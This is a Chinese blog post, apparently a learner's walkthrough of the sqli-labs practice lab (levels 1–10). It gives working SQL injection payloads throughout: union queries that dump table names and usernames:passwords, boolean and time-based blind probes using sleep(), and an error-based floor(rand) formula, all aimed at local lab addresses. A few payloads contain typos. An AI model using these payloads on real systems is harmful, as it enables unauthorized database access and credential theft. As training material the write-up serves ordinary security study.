sqli-labs个人注入心得

闭合方式类型都有一般是’,",或 无闭合符号 或 '),")

Less-1

尝试?id=1

注释符号为–+、-- 、#。
当尝试?id=1’)时

很明显是属于单引号闭合方式
用–+注释掉后面的

接下来就要判断一下列数?id=1’ order by 10–+,发现

多试验几次后 得到共有三列数据接着进行联合查询?id=X’(x不等于1,2,3) union select 1,2,3–+,这里将id等于一个数据库不存在的数,通过联合查询能看出我们输入的数据在哪里能够显示出来。

在2,3的位置可以插入我们想用的语句了,接下来要做的就是爆数据表 开始之前,已经知道在MySQL中有information_schema这个库,该库存放了所有数据库的信息。
{
数据库经常引用的词汇!
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。}
爆数据库名:
后采用联合注入查看当前数据库名和数据库版本号

查询时发现只返回前面一条的查询数据,那就把id=-1,让前面的查询为空,就会返回后面的查询结果

http://10.2.10.31/sqli-labs/Less-1/?id=-1’ union select 1,database(),version() --+

得到数据库名security和版本号

爆列表:?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+

然后进行爆字段?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 --+

接下来把用户名和密码全爆出来?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+

{0x3a不加以后的情况}

Less-2

判断是无闭合符号
只需要把第一关的id=0后面的’去掉就可以了。
Less-3

闭合方式为’)
同第二关

Less-4

判断为”)闭合
(“1”不显示 说明已经被闭合了本该显示的 )
剩下的等同于第一关

Less-5(何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。从 background-1 中,我们可以知道盲注分为三类 •基于布尔 SQL 盲注 •基于时间的 SQL 盲注 •基于报错的 SQL 盲注

先判断闭合方式

单引号闭合判断而且经过判断为布尔盲注(正确的时候返回 you are in 错误时候不返回任何值)、
(1)利用 left(database(),1)进行尝试 http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

查看一下 version(),数据库的版本号为 5.7.26,这里的语句的意思是看版本号的第一位是 不是 5,返回的结果是正确的。

接下来看一下数据库的长度 http://127.0.0.1/sqli-labs/Less-5/?id=1%27and%20length(database())=8%23 长度为 8 时,返回正确结果,说明长度为 8.

猜测数据库第一位 (已知security)http://127.0.0.1/sqli-labs/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27–+
很明显第一位是s大于a> a, 所以返回正确。当我们不知情的情况下,可以使用二分法来提高注入的效率。 接下来等同这一步操作。
直到猜到security的数据库名

接下来运用利用 substr() ascii()函数:
ascii(substr((select table_name information_schema.tables where
tables_schema=database()limit 0,1),1,1))=101

方法二:
报错注入
公式 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((payload),FLOOR (RAND(0)*2))X FROM INFORMATION_SCHEMA.TABLES GROUP BY X)A)

{payload 为自己构造的sql语句 (select group_concat(schema_name) from information_schema.schemata)}

union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a–+

得到如下结果:

利用 double 数值类型超出范围进行报错注入

Less-6
先判断闭合条件

双引号闭合 可以参照第五关的布尔盲注

Less-7
判断闭合条件

思考半天还是没有什么思路就暂且放弃了

Less-8

测试注入点:
127.0.0.1/sqli-labs/Less-8/?id=1’

发现无回显

写入注释后

有回显
说明我们已经成功闭合了
先判断字符长度
/Less-8/?id=1’ and if(length(database())>8,1,sleep(5)) --+

判断为8
接下来爆数据库名
/?id=1’ and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+

得到数据库名第一个字母s 接着同样的测试得到全部的数据库名。
Less-9
无论如何尝试 页面始终没有任何变化 判断为时间盲注
尝试?id=1’ and if(ascii(substr(database(),1,1))>115, 0, sleep(5))#,页面过了一会响应,判断闭合方式为单引号。
得到第一位为s接下来尝试第二位:?id=1’ and if(ascii(substr(database(),2,1))>115, 0, sleep(5))#

得到数据库名为security
接下来猜测列表名
127.0.0.1/sqli-labs/Less-9/?id=1’and If(ascii(substr((select table_name from informatiochema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+ 猜测第一个数据表的第一位是 e,…依次类推,得到 emails
127.0.0.1/sqli-labs/Less-9/?id=1’and If(ascii(substr((select table_name from informatiochema.tables where table_schema=‘security’ limit 1,1),1,1))=114,1,sleep(5))–+ 猜测第二个数据表的第一位是 r,…依次类推,得到 referers

Less-10

将第九关的’换为” 就可过关。

sqli-labs个人注入心得sqli-labs个人注入心得 hecker_chicken 发布了1 篇原创文章 · 获赞 0 · 访问量 9 私信 关注
上一篇:sqli lab 38-45


下一篇:Sqli-Labs less38-45